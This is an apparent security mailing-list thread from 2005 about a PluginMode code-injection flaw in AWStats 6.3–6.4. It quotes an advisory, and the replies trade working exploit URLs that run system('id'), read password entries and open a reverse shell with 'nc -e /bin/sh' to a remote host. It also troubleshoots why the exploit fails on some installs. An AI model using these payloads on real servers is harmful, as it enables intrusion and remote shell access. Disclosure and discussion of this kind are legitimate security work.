Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3?

[twebster () daksoft com]

You may need to specify an awstats config to view

example:

http://www.site.org/awstats/cgi-bin/awstats.pl?config=websitename&PluginMode=:print+system('id')+
;


Tony

Jamie Pratt <jpratt () norwich edu> wrote on 02/15/2005 12:25:43 PM:

> So what are the conditions of this bug/vuln?  I can't reproduce this on
> several 6.3 installs..:
>
> awstats 6.3 from source:
>
> request:
>
> http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:
> print+system('id')+;
>
> output:
> ****************
> Error: Can't locate object method "BuildFullHTMLOutput_print" via
> package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
> line 1.
>
> Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
> permissions) may be wrong.
> Check config file, permissions and AWStats documentation (in 'docs'
> directory).
> ***************
>
> regards,
> jamie
>
> Ondra Holecek wrote:
> > GHC () www securityfocus com wrote:
> > |
> > | /*==========================================*/
> > | // GHC -> AWStats <- ADVISORY
> > | \\ PRODUCT: AWStats
> > | // VERSION: <= 6.3
> > | \\ URL: http://awstats.sourceforge.net/
> > | // VULNERABILITY CLASS: Multiple vulnerabilities
> > | \\ RISK: high
> > | /*==========================================*/
> >
> > [...]
> >
> > |
> > | PluginMode=:print+getpwent
> > |
> > | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
> > | This will satisfy eval() requirements., and :print getpwent() is
> > executed.
> > |
> > |
> > http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:
> print+getpwent
> > |
> > | Sanitazing limits user's input, but there is no filtration for call
> > sympols '()'.
> >
> > no, user is not limited, he can execute ANY command if he add ; at the
> > end of the command, try this
> >
> > awstats.pl?&PluginMode=:print+system('id')+;
> >
> > or even this
> >
> > awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
> >
> >
> > Ondra
>
> --
>
> James Pratt
> Unix Systems Administrator
> Norwich University
> http://www.norwich.edu/it
> <jpratt () norwich edu> | ph. (802)485-2532